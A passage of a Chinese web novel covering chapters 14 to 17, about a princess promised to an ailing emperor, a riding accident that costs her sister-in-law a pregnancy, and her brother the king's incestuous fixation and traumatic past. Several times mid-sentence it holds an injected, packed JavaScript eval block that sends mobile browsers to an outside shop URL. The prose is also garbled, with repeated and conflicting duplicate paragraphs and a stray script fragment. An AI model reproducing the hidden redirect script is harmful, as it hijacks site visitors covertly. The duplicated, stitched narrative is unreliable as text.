那个名字一旦出口,便像戳中了某种禁忌的情绪。所有的尖锐、冷硬、伪装,在这一刻土崩瓦解。 康缇的眼眶微微泛红,声音也有些发哽:“王兄待我,好时极好,甚至几度舍命救我,我……” 她语无伦次,眼泪顺着脸颊流了下来。 何瑛姃见状,心中不忍,忙顺着话头温声劝道:“缇儿,我知道你是明白事理的。方才说那些陈年旧事,并非要与你比惨,只是想告诉你,凡事得往前看,无论眼下多难,日子还长,总有云开月明的时候。” “不是这样的!根本不是这样!”康缇听了这不痛不痒的话,猛地抬起头,收了眼泪,语气愈发急躁,“就算我往前看,难道今天就不存在了吗?再者,我前面还有什么?那个行将就木的老皇帝吗?我康缇就只配得上这样的前程吗?!” 何瑛姃闻言,表情一下子僵住了,心里有一种说不出的滋味,那并非替康缇的处境而惋惜,倒更像是心底的狼狈被戳中了。 她沉默了好一会儿,才垂下眼帘,避开康缇灼人的目光,低声说道:“若换作是我,是愿意的。” “愿意?”康缇嗤笑一声,“哼,不必拿这些话来哄我,我又不是小孩,听不出真假吗?” “我说的是真的。”何瑛姃抬起头,眼神坦荡,却有些无可奈何,“人与人的命,本就不一样。像我这般出身微贱、为奴为婢惯了的,能有这样的机缘,高兴还来不及呢。” “……” 康缇满腔愤怒,此刻都哽在喉咙里,说不出一个字。 她看着何瑛姃平静的脸,心中感受到另一番苦楚。她第一次意识到,她们之间,不仅仅是身份的差异,更是对命运截然不同的底线。 方才两人之间,还有些许坦诚,此刻却被尴尬所取代。 “康朔啊康朔,你真是好手段。”康缇在心底冷冷一笑。 她本无意用言语去刺伤何瑛姃,可她那与生俱来的、同王兄一样的傲慢,本身就是对何瑛姃最大的伤害。 这就像一座终日与暴风雷霆抗争的山峰,永远不会低下头,去看看山脚下的蝼蚁,如何在石缝中苟活。 康朔正是看透了这一点,才特意让何瑛姃前来劝解。任凭康缇满心委屈,也不可能冲着一个不及她的人泄愤。 想到这一层,康缇更觉意兴阑珊,连争辩的力气都没了。 “王嫂,”她终于肯正经唤她一声,“你也累了大半日,早些回去歇息吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062467|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头我让人将剩下的蜜瓜,都给你送去。” “缇儿,还有一事。”何瑛姃没有要走的意思,她手指无意识地攥着袖口,似乎在斟酌措辞,“来时,王上告诉我的。我想着,你或许该知道。” “何事?” 何瑛姃瞥了一眼侍立左右的婢女,将众人屏退,才对康缇道:“王上说,无论你如何恼他、恨他,他心中最看重的,始终是你。此番将你许给雍帝,并非……” 她凑到康缇耳边,压低声音:“王上多方打探,听闻那雍帝沉疴已久,不过是强撑着一口气,恐怕也就这两三年的光景了。王上的意思是,你嫁过去,若能尽快诞下皇子,他便倾西康之力,在雍廷为你斡旋运作,务必扶你的孩儿登上太子之位。待雍帝驾崩,你便是太后,幼主临朝,整个大雍便是你说了算。届时,咱们一家人,便可在兴安城重聚。” 说罢,她稍稍直起身,见康缇神色凝重,又补充道:“退一万步说,若你无所出,待那雍帝归天,你以未亡人之身回返西康,依旧是尊贵的西康公主,王上还会疼你、宠你。” 听到这一番环环相扣、算尽天机的谋划,康缇都懵了。 她怔怔地看着何瑛姃:“这当真是王兄亲口所言?” “嗯。”何瑛姃点了点头。 康缇一时哑口。她低着头,攥着双手,紧紧抵在膝上,全身都在颤抖。 没想到,康朔不仅利用她作为政治筹码,嫁到大雍,更将她往后的命运都算得如此精细。王兄当真是在意她呢。 一股巨大的荒诞感侵袭了她全部心神。 何瑛姃见她脸色苍白,伸手轻轻抚上她的背,关切地问:“缇儿,你没事吧?” 康缇缓缓抬起头,双眼赤红地看着王嫂,声音又缓又沉:“你是说,康朔用我做赌注,赌那老皇帝何时死?赌我能不能生下儿子?赌那雍廷是不是纸糊的、任凭西康摆布?” “缇儿。”何瑛姃拉住她的手,“王上他志存高远,可也是万般不舍你远嫁的。幸好雍帝是这般情形,不过虚耗你几年青春罢了。你们兄妹,终有团聚之时,到那时才是真正的苦尽甘来。” “呵,”康缇冷笑一声,低声自语,“我都嫁出去了,他还不肯放过我?” 何瑛姃听到这声低语,柔声劝道:“不是你想的这样。此事其实也没那么糟……” “怎么不是?”康缇抽回手,猛地起身,声音陡然拔高,“康朔若是存了好意,为何不亲自来说与我?何苦要让你挺着肚子,在我这受气?” “王上他今日确有要务缠身,所以……” “我不管!”康缇打断她,胸口剧烈起伏,“让康朔来!让他亲口跟我说,否则我死也不出西康半步!” 说罢,她已拂袖转身,头也不回地冲了出去。 何瑛姃惊呼一声,急忙起身追赶。可她怀着身孕,行动不便,哪里追得上步履如飞的康缇。 “缇儿!缇儿!” 她在后面焦急呼喊,眼睁睁看着康缇的身影消失在廊道拐角。 14. 手足(3) 王兄的算计、王嫂的劝解,还有远在兴安城的老皇帝……所有人都在安排康缇的命运,没有一个人问过她愿不愿意。 此刻,她心里憋着一团火,无处宣泄。离开□□馆后,便一路小跑去了马房。 正巧,前几日马房新到了几匹大宛良驹,正在槽间嚼着草料。其中一匹通体雪白、四蹄如墨的骏马,格外抢眼。 康缇看中了那匹马,便径直走过去,解开了它的缰绳。 “公主殿下,使不得!”?一名马监慌忙上前阻拦,“这匹马才驯了没几日,性子烈得很,殿下要不换一匹?” 康缇依旧装作不会说话,狠狠地瞪了那马监一眼,硬是将这匹白马从栅栏里牵了出来。 “公主,这万万不可!”马监“扑通”一声跪了下来,“这马野性未除,可不是闹着玩的。您若想骑马,外头有的是温顺的好马,我这就给您挑去。” “滚!” 康缇突然怒喝一声。 这可把马监吓坏了。 全城人都知道公主有哑疾,这一声“滚”,真是青天白日见了鬼了。 就在马监愣神的时候,康缇已经伸出手,掌心向上,缓缓凑到白马面前。那白马竟乖乖低下头,嗅了嗅她的手指,并用鼻子轻轻碰了碰她的掌心。 这一刻,康缇心口那股郁结之气,似乎找到了出口。她为马儿套上笼头,便抓住缰绳,翻身跃上马背。 白马野性难驯,骤然被人骑上,惊得发出一声声嘶鸣,并疯狂地扭动、跳跃,试图将背上的人甩下去。而康缇死死抓住缰绳,紧咬牙关,伏低身体,一刻都不敢松手。 不一会儿,这白马的动静,扰得其他马匹也跟着惊嘶,马房里顿时一片大乱。又有两名马监围过来,惶恐地看着眼前情景,手足无措。 白马这一番躁动,颠得康缇五脏六腑都要碎了,她明显能感觉到胸口“扑通扑通”直跳。可有意思的是,这种失控的、濒临坠落的危机感,反而压过了她心中的愤懑与无力。 “哈!”她甚至笑出了声。 白马见甩不脱她,便猛地冲向马房大门。康缇没有勒住缰绳,反而俯身贴近马颈,大声喝道:“跑啊!” 就这样,白马犹如一道闪电,冲出了马房,冲入王宫的御道。 正值申时,宫中内侍奴仆来来往往。突然,一道白影窜出,马蹄落在石板上,“咯噔咯噔”的声音,炸响开来,惊得众人尖叫声四起。 “是公主!公主骑马过来了!” “拦住,快拦住!宫中严禁策马!” …… 一众侍卫闻讯赶来,想要放箭,或用绊马索拦住那白马。但见到马背上是康缇,便都不敢轻举妄动,只能尝试围堵。 白马那野性已经发作了,见有人阻拦,更是横冲直撞,竟朝着后宫闯去。 这可中了康缇的意了。她的发髻早已散乱,丝丝缕缕长发,在风中狂舞。一双清澈的杏眼,看着鸡飞狗跳的情景,心中升起一股快意。她恨不得飞去后宫,好让王兄也看看。 “缇儿!” “缇儿,快停下!” 一阵焦急的呼唤,从侧后方传来。 康缇猛地回头,只见何瑛姃在婢女的搀扶下,正追赶而来。她脸色煞白,气喘吁吁,额上全是汗,显然是从□□馆一路追过来的。 “你来做甚?回去!”康缇见到王嫂,心中有些发慌。那毕竟是个大着肚子的。 何瑛姃依旧追过来,声音带着些许哭腔:“缇儿,太危险了。你快下来,有事咱们好好说。” 这时,一名身形魁梧的侍卫瞅准时机,猛喝一声,合身扑上,双手死死抓住白马脖颈上的缰绳,另外两名侍卫也拥上前帮忙。 这下,白马被彻底惊着了,他猛扬前蹄,狂暴地扭动身躯,撞开众人,迅速向旁边甬道窜去。 康缇猝不及防,险些被甩飞出去,全靠一股狠劲死死攥住缰绳,才勉强伏在马背上。刚稳住身体,她才注意到,甬道口站着两人,正是何瑛姃和她的婢女,她们已被吓得僵在原地。 “让开!”康缇嘶声大喊,拼命勒紧缰绳,想调转方向。 但已经晚了。 白马的影子,已经笼罩住何瑛姃的身形。就在马蹄即将踏上的瞬间,身旁的婢女拼命拽了何瑛姃一把,两人踉跄着侧身摔倒。 “砰!” 何瑛姃的肩膀还是被马身重重剐到,整个人倒地后,又翻了个跟头,撞在了墙角。 “啊!”她发出了一声短促而凄厉的叫喊,随即蜷缩起身子,双手死死捂住腹部,脸色惨白。 白马冲了过去,又奔出十几步,才被六七名侍卫用套索拦住。康缇被颠得七荤八素,终于从马背上滚落下来,重重摔在地上。 她已经顾不上疼痛,连滚带爬,奔向何瑛姃的方向,扑跪到她身边。 “王嫂!” 康缇看见,何瑛姃靠着婢女,半躺在地上,神情慌张无措,额头上渗出涔涔汗水。她双手捂着肚子,身下殷出刺眼的红色,不断洇开、扩大。 “孩儿,孩儿……”她颤抖着声音,不停唤道。泪水不断划过面颊。 这触目惊心的一幕,狠狠戳在康缇心口,戳得她喘不上气。她都不敢再看何瑛姃。 周围的宫人慌乱地围上来,有经验的嬷嬷看了一看,倒吸一口凉气:“不好!快,快抬进去,叫医官!” 众人闻言,救人的救人,报信的报信,场面混乱不堪。 康缇跪在原地,怔怔看着石板上的血泊,像是被抽了魂似的。待众人散去,她依旧呆愣着,一动不动。 日头西沉,霞光漫天,那摊血已经半干,被暮色染过,更加深沉。 一阵凉风吹过,康缇打了个激灵,这才惊觉,自己已经酿成大祸。她试图站起,双腿却因久跪而麻木刺痛,仿佛有无数细针扎着她。她咬着牙,一瘸一拐,如同失了魂的人偶,朝着何瑛姃寝宫的方向挪去。 原本,她还期盼着,或许有惊无险。可一踏进院里,就听见刺耳哭嚎声,连带着含混不清的咒骂,从房内穿透墙壁,回荡在整个院落。 再看那些宫人,来往忙碌间,步履匆匆,一见到康缇,各个眼神躲闪,无人敢与她对视。 结果显而易见。 孩子没了。 康缇僵在原地,一阵寒意漫过全身,令她全身都在颤抖。胸口也似乎被什么东西压住了,凭她多么用力地喘气,窒息感都如影随形。 明明,就在刚才,何瑛姃还摸着肚子,说这孩儿定也是个折腾人的。 一想到这,康缇再也忍不住了,她颤颤巍巍地出了院子,拐过院墙,摸索到一处昏暗无人的角落,滑坐在地,面冲着冰冷的砖墙,大声哭喊起来。 哭到表情扭曲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17062468|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭到涕泪俱下,哭到声音断了线…… 夜幕,就在悔恨与哭声里,漫了上来。 忽然,一只温热的手掌,轻轻拍在她的后背上。 “缇儿?” 康缇浑身一颤,泪眼朦胧地回过头,竟是自己的王兄。 落日最后一抹余晖,落在他身后,为这高大伟岸的轮廓,镀上一层柔和的光晕。逆着光,他的面容有些模糊。这朦胧的光晕,竟让康缇恍惚了一瞬,像是回到了小时候,每每闯祸,都有个人为她兜底。 “你怎么一个人躲在?”康朔俯下身,看她额前发丝凌乱,泪眼婆娑,神情惶恐迷茫,一副娇弱可怜的模样,顿时紧张起来,伸出双手扶住了康缇的双肩,“伤着了?还是吓坏了?让我看看。” “王兄,我……我不是故意的……”康缇抓住他的衣袖,声音破碎,语无伦次,“她……马惊了……我没想到,王嫂她……” “好了,不说了。”康朔叹息一声,不由分说地将她揽入怀中,双臂收拢,用自己宽阔的胸膛,将她颤抖不已的身躯,紧紧包裹起来,一如从前,“不怕了,王兄在这儿。” 熟悉的温暖和气息笼罩下来,康缇紧绷的心弦,瞬间断裂。她将脸深深埋进王兄的衣襟,双手死死揪住他背后的衣料,再次放声痛哭:“对不起……对不起……” 一遍又一遍的道歉,混合着泪水,浸湿了他的前襟。 康朔稳稳地抱着她,下颌抵着她的发顶。前一刻,他还在何瑛姃的寝殿内大发雷霆,发落了一干伺候不力的宫人。但此刻,怀抱中这个小可人,热乎乎的一团,竟奇异地抚平了他心头的怒火。 半晌,他略微松开怀抱,低下头,双唇凑到她冰凉的耳廓,柔声说道:“傻缇儿,意外而已,王兄不怪你。乖,别哭了,仔细伤了眼睛。回去好好睡一觉,嗯?” 康缇缓缓抬起头,看着王兄狭长的眼眸中,满载柔情,这才得一丝放松。大哭后的虚脱,瞬间漫遍全身。 “嗯。”她乖巧地点了点头。 康朔利落地解下自己的外袍,披在妹妹单薄的身上,仔细拢好,又帮她理了理黏在脸颊上的头发。动作极尽温柔。最后,他单臂环住她的肩,准备离开。 刚迈了一步,康缇左膝突然传来一阵刺痛,腿一软,栽到了康朔身上。 “怎么了?”康朔问。 康缇这才后知后觉,先前摔下马时,将左膝转筋了。她吸了气,弯腰去揉膝盖。 康朔见状,皱着眉叹了口气:“摔痛了?怎么不早说?”言罢,他半跪下来,双手使劲互搓,直至掌心发烫,然后贴在康缇的膝盖处,揉按起来。 掌心传来的温度,透过衣料,温着伤处,也温着康缇混乱的心。眼看着,又是一波泪水夺眶而出。 “好点了吗?”康朔抬头,看见她又哭了,以为是自己手太重,便立即停下,“弄痛你了?是我不好。”他站起来,转过身,又微微蹲下,“上来,我背你回去,赶紧让医官看看。” 夜色已浓,宫灯亮起,在地上投下长长短短的影子。 康朔背着康缇,步伐稳健,向□□馆走去。一步,一步,越走越畅快,越走越得意。 少一个子嗣不算什么,他还会有下一个。可康缇就一个。 若她因此心怀愧疚,不再记恨自己,今后也肯顺着自己,那么损失一个孩子,是值得的。 15. 手足(4) “说吧,你是如何做到的?”康朔冷声问道。 康缇茫然地抬了一下眼,又迅速垂下。 “把你怎么纵马,怎么冲撞了你王嫂,从头到尾说给我听。一个细节都不能漏。”康朔一字一顿,像是在审犯人。 他知道如何诛心。 果然,康缇彻底崩溃了。她猛地抬起头,眼泪再次从红肿的眼睛里流出,声音破碎,语无伦次:“她……马惊了……我没想到,王嫂她……” 康朔看妹妹,一脸泪痕,在晦暗的光线下粼粼闪烁,好似碎掉的宝石。婆娑泪眼,惶恐迷茫,更像个受惊的小鹿。 一瞬间,痛失子嗣的愤怒,都被这楚楚可怜的模样融化了。 他心头发酸,目光也不觉柔软了。“你伤着没有?过来,我看看。”说着,他伸手扶住了康缇的肩头。 康缇顺势抓住他的衣袖:“王兄,我……我不是故意的……” “好了,不说了。”康朔叹息一声,不由分说地将她揽入怀中,双臂收拢,用自己宽阔的胸膛,将她颤抖不已的身躯,紧紧包裹起来,一如从前,“不怕了,王兄在这儿。” 熟悉的温暖和气息笼罩下来,康缇紧绷的心弦,瞬间断裂。她将脸深深埋进王兄的衣襟,双手死死揪住他背后的衣料,再次放声痛哭:“对不起……对不起……” 一遍又一遍地道歉,混合着泪水,浸湿了他的前襟。 康朔稳稳地抱着她,下颌抵着她的发顶。前一刻,他还在何瑛姃的寝殿内大发雷霆,发落了一干伺候不力的宫人。但此刻,怀抱中这个小可人,热乎乎的一团,竟奇异地抚平了他心头的怒火。 半晌,他略微松开怀抱,低下头,双唇凑到她冰凉的耳廓,柔声说道:“傻缇儿,意外而已,王兄不怪你。乖,别哭了,仔细伤了眼睛。回去好好睡一觉,嗯?” 康缇缓缓抬起头,看着王兄狭长的眼眸中,满载柔情,这才得一丝放松。大哭后的虚脱,瞬间漫遍全身。 “嗯。”她乖巧地点了点头。 康朔快速脱下,披在妹妹身上,顺带额前碎发,而后单臂搂着她,转身要离开。 康朔利落地解下自己的外袍,披在妹妹单薄的身上,仔细拢好,又帮她理了理黏在脸颊上的头发。动作极尽温柔。最后,他单臂环住她的肩,准备离开。 刚迈了一步,康缇左膝突然传来一阵刺痛,腿一软,栽到了康朔身上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065626|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么了?”康朔问。 康缇这才后知后觉,先前摔下马时,将左膝转筋了。她吸了气,弯腰去揉膝盖。 康朔见状,皱着眉叹了口气:“摔痛了?怎么不早说?”言罢,他半跪下来,双手使劲互搓,直至掌心发烫,然后贴在康缇的膝盖处,揉按起来。 掌心传来的温度,透过衣料,温着伤处,也温着康缇混乱的心。眼看着,又是一波泪水夺眶而出。 而康朔以为自己手太重了,便赶紧收了回来,“赶紧回去,让医官瞧瞧。”说罢,他背起康缇,往□□馆去了。 “好点了吗?”康朔抬头,看见她又哭了,以为是自己手太重,便立即停下,“弄痛你了?是我不好。”他站起来,转过身,又微微蹲下,“上来,我背你回去,赶紧让医官看看。” 夜色已浓,宫灯亮起,在地上投下长长短短的影子。 康朔背着康缇,步伐稳健,向□□馆走去。一步,一步,越走越畅快,越走越得意。 少一个子嗣不算什么,他还会有下一个。可康缇就一个。 若康缇因此心怀愧疚,不再记恨自己,今后也肯顺着自己,那么损失一个孩子,也不算什么。 16. 手足(5) 王上的动作毫无温情,甚至有些粗暴。一番酣斗后,红熙疲惫地蜷缩在床边,悄然睡去。 夜,愈发深沉。 康朔无心睡眠,从床上起来,随手捞起地上的袍子,披在身上,回头瞥向红熙。她裸露的肩背上,都是青紫的吻痕。这本该令男人志得意满的印记,此刻只让康朔觉得空虚乏味。 他赤脚踱步到窗前,看着远处浓稠的夜色,眼神也跟着惆怅起来。 十四岁那年,父王倾尽举国之力,东征大雍,不料被盟友处密部背刺。他们趁虚而入,杀入金凉城,将康朔和母妃一同掳走。 彼时,也是这般浓稠的夜晚,处密部左大将忽勒罕命人将康朔绑在帐柱上,而母妃则被他拖入内帐中。 隔着一层薄毡,他听见忽勒罕野兽般的喘息,和母妃压抑的呜咽声绞在一起,此起彼伏。那些声音像烙铁一样,反复熨烫着他。 十四岁的少年,身体正在变化,距离成为一个真正的男人,只有一步之遥。可就在这一步的距离,他被迫以最耻辱的方式,隔空体验了一次。 当时的康朔全身战栗,全身血液忽冷忽热。他的心被奋力撕扯,撕开一个巨大的口子,里面是恐惧、憎恶、暴怒、耻辱和正在萌芽的情欲。 得益于母妃的牺牲,母子二人活了下来。半年后,父王联合乌护部杀回,血洗处密,夺回了他们。 彼时,母妃已怀有身孕。归来当夜,她紧紧抓着康朔的手,眼中满是哀恸与忧虑:“朔儿,忽勒罕的事,千万不能告知你父王。这个孩儿,就是你父王的骨肉,是你的手足。” 康朔看着母亲消瘦的脸,哽咽着点了点头。 之后,康缇带着秘密降生,粉糯糯的一个团子,于康朔而言,是一颗裹了蜜的毒药。她是母妃受辱的活证,是流着异族血脉的杂种,却也是他一母同胞的亲人。 康朔看着襁褓中的妹妹,她胡乱挥舞着小手,一把抓住他的辫发上的宝石,接着便“咯咯”地笑。那一刻,某种复杂的悸动,撞了一下他的心口。 终于,康朔伸出手,抱起妹妹,将头埋在襁褓里,吻了她的额头。 他要像母妃一样爱护妹妹,甚至比母妃更爱。他是王,他的爱意与权柄能掩盖一切污浊,包括血脉不纯的妹妹。他会将康缇养成最完美的公主,成为真正的西康明珠。 这么多年过去,康缇虽性情桀骜难驯,但确实未曾辜负他的期望。她生得风华正茂、倾国倾城。更重要的是,她眉宇顾盼间,尽是母亲的神韵。 他怎么可能不动心。 可越是动心,他便越发厌恶自己。越是自我厌弃,他便越发癫狂。 ﹡ 翌日清晨,康缇醒来,睡眼惺忪地唤了声红熙。无人应答。 她又唤了几声。这次有人应了,小跑着赶过来伺候。可康缇抬眼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076897|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,是馆中另一个婢女。 “红熙呢?” “回公主殿下,红熙她……”那婢女怯生生道,“昨晚,红熙她被王上带走了。” “被王上带走了?” 康缇心头一振,突然有种不好的预感。 何瑛姃流产,王兄震怒,一晚上发落了好些人。算起来,自己才是导致王嫂流产的罪魁祸首。按照惯常,王兄不会动她,但肯定回迁怒于她身旁的人。如此,红熙只怕凶多吉少了。 想到这,康缇匆匆更衣,草草理了妆发,便径直赶往清辉殿。 一路上,她不断想着,该如何同王兄求情。毕竟兄妹俩隔阂多年,昨晚才好了些。若话说得太软,有些虚伪矫情,若说得太重,只怕又要撕破脸了。须得好好掂量掂量。 晨光中的清辉殿,格外肃静。康缇在殿门前定了定神,深吸一口气,才迈进殿门。 一名微胖的内侍见到她,立马迎过来,躬身垂首:“公主殿下金安。王上不在殿中,一早便去王妃娘娘处探望了。” “那红熙呢?”康缇问。 “红熙……”内侍犹豫了一下,眼睛快速眨了眨,又躬身道:“公主殿下,还请稍候片刻,红熙姑娘……她一会儿便来。” “红熙到底在哪儿?”她又问了一边。 内侍还是含糊其辞:“公主稍等片刻。” 这下,康缇有些恼了。 17. 好斗之徒(1) 返回清辉殿时,康缇胸口还堵着一口气,本要当面与王兄分辩。可见到那件皱巴巴的衣裳后,就像被泼了一盆污水,浇得她心神不宁。此刻,她不想见任何人,尤其是王兄。 “你们给我听着,”她对内寝的内侍婢女们道,“谁都不许说我来过。” 话音未落,她便扔下衣服,仓皇躲进了紫檀木榻后的帷帐里。 少顷,门口光影闪动了一下,那是康朔的影子。 他换了身木槿紫色的常服,眉宇间带着些许倦色。见小内侍正在收拾地上的衣物,便顿住了脚步。 “可是昨夜红熙穿的那件?”他声音慵懒。 “是……好像是。”小内侍犹犹豫豫地回答。 “拿来。”康朔伸出手。 小内侍连忙将衣物捧上。他接过来,随意搭在左臂弯处,然后走到紫檀木榻边坐下。 康缇就在他身后,隔着幔帐,透过缝隙,她都能闻到王兄身上的龙脑香。此刻,她的心都提到了嗓子眼,生怕他发现了自己。 康朔并未察觉,他的注意力全在衣物上。他将它摊在左腿的上,手指抚过那些纠缠的莲纹,一点点将皱褶捋平。或许是看到了上面的血迹,他的手指突然顿住了。 “啧。”他撇了下嘴。 这一声,没有不悦、没有惊讶,更没有愧疚。 接着,他忽然卸了力,手臂一松,任由那衣裳滑落在腿边,整个人“扑通”向后倒去,直挺挺躺在了榻上。 突如其来的声响,让康缇的心也跟着猛跳了一下。 康朔就那样躺着,双腿垂在榻沿,手臂摊开,双眼望着天花板,目光涣散,放空一切。 是一种毫无防备,却也全然掌控的姿态。 帷幔后,康缇透过缝隙,第一次这样窥探王兄。 她实在不明白,王兄心里到底怎样想自己。于是便试着剥离妹妹的身份,以一个女子的目光去丈量眼前的男人。 康朔依旧高大,骨架撑得起任何华丽的衣袍。而他的脸,依旧神俊,如刀刻般利落英挺。一双长眸不算大,但光华外放,摄人心魄。 单以形貌论,理应是女子心头之好。但这个男人是兄长,纵使风度卓然,也是家族的骄傲,而非手足亲人的私属。 可王兄似乎不这样想。否则,他此刻也不会攥着妹妹的衣裳。 康缇心中五味杂陈。 这时,康朔忽然动了。他并未起身,只是抬起一只手,将堆在腿边的衣物捞起,随意地盖在了自己脸上。 锦料随着他的呼吸,上下起伏,那些莲纹因而更加扭曲。还有那抹血迹,也越发触目惊心。 一个令人窒息的画面,突然从康缇的脑海中蹦出:昨夜,红煕就是穿着这身衣裳,与王兄在这张榻上,翻云覆雨。 “呃。” 想到这,她浑身发抖,胃里翻江倒海地恶心,喉间不由得发出声音。担心引起康朔注意,她小心翼翼抬起手,捂住自己的嘴巴。 沉默十年,她未曾感到憋屈。而这一刻,她却觉得憋闷到窒息,恨不得将五脏六腑都吐出来。 时间在死寂中一点点流逝。每个瞬息,都长得令人发指。 终于,康朔小憩结束。他扯下脸上的衣物,依旧随意地扔在一旁,然后坐起身来,整理了衣襟,便迈开步子,离开了内寝。 那脚步声消失了好一阵,康缇才从帷幔中出来。她像是被抽干了力气,脸色惨白,神情疲惫。她看了一眼榻边的衣物,叫来了内侍:“包起来,送回□□馆。” 东西是带回去了,却成了烫手的山芋,放在哪儿都碍眼。若将它丢弃,又好像妥协一般,叫人心中不甘。 因为这衣物,康缇觉得□□馆都变得恶心了。不止□□馆,整个西康王宫都恶心。 她坐立难安,索性带了两名婢女和一名侍卫,收拾几件物什,回到璇玑塔暂住。 到底还是这个困了她三年的囚笼安心一点。 未时,城中人多午休,街上人迹渐稀。康缇策马穿过市坊,眼看着就要到璇玑塔了。然而,行至永宁街口,却见前方道路被拦下了。三名披甲侍卫守在街心,一见到行人,便上前拦住,将其使去别处绕行。 康缇等人一勒缰绳,马蹄声引得侍卫回头。为首那人刚欲上前阻拦,待看清马上之人时,急忙单膝跪地:“卑职参见公主殿下。” 康缇指着前方街道,问那侍卫:“此路为何封了?” 侍卫回道:“雍使正在试车,乃迎亲所用礼车,恐惊扰城民,故暂行封路。” 康缇向前方眺望,空荡荡的街道尽头,是高耸的璇玑塔,塔下不远处,便是西华馆的飞檐。试车也只能在这。 “应是载我的礼车吧?”康缇微微侧目,对身后随行之人道,“走,咱们看看去。” 她轻夹马腹,刚要前行,三名侍卫慌忙相拦:“公主殿下,前面是外臣,恐怕不……” 话音未落,康缇已拿出马鞭,冲着为首的侍卫,高高扬手。那侍卫吓得半死,紧闭着眼睛,而鞭子只是轻轻搭在了他的肩上。 再抬眼,公主正冲着他笑,声音却透着威严:“各位兵爷,是在管我吗?” “卑职不敢!”为首的侍卫忙道,“卑职不是那个意思……” 另外一名侍卫扯了扯他的胳膊,递去一个眼神。这侍卫叹了口气,又道:“那……还请公主看速去速回,免得……” 他话还没说完,康缇已驱马向前,往西华馆去了。 西华馆前,周兆安正与几位属官立在阶上,看着车夫驭着修缮好的礼车,在门前空地上试行。 那厌翟车金漆朱轮,双马并轭,跑起来四平八稳。众人满意地点了点头,却见那车行至半途,突然停住了。 “怎么回事?可是轮轴坏了?”周兆安不由得伸长脖颈张望。谁料下一刻,一抹红绡从厌翟车后闪出,衣袂飘飞,如霞光流彩,灼然夺目。 馆前,数道惊讶的目光齐刷刷迎着西康公主,由远及近,直至她停在众人面前。 恰在此时,严修明从馆内出来,刚迈出门槛,视野便被康缇的身影全部占据。他愣了一下,旋即走下台阶,迎至马前,躬身行礼:“外臣严修明,见过公主殿下。” 其他众使也纷纷附和。 康缇翻身下马,将缰绳随手递给随身侍卫,目光直接定在严修明身上。今日他一身紫色常服,玉带轻束,较先前少了几分上使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084063|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威仪,倒添了些许闲适清朗。 她上前一步:“我听说你们在试车,可是载我的礼车?” “正是。”严修明见她似乎很感兴趣,温声道,“公主要看看吗?” “看,当然要看。”康缇唇角微扬,骄色立现。 严修明看了一眼身旁的参军。那参军会意,立刻小跑向礼车,招呼车夫调转车头,驶至馆前空地。 待礼车稳稳停住,严修明摊起一只手:“公主请。” 康缇顺着他手势方向,来到车前,细细打量。 这厌翟车礼车以楠木为骨,朱漆鲜亮,雕镂的纹饰精致繁复,两侧翟羽更是斑斓润泽。 “真不愧是雍车。果然精工细造,气派不凡。”康缇目光扫过一圈,最终定在车侧的翟羽上。看着上面琉璃般的光泽,不禁伸出手指,轻轻抚摸,“这是翟羽吗?” “正是。” 见康缇目光专注莹然,严修明的眉眼间也不觉溢出笑意,他的目光随之落在那层翟羽上,以及她的纤指。 “真漂亮。”康缇轻叹一声,眼睛依旧停留在羽毛上,对严修明说,“我宫里也养了只翟鸟,可毛色却不如这车上的。” 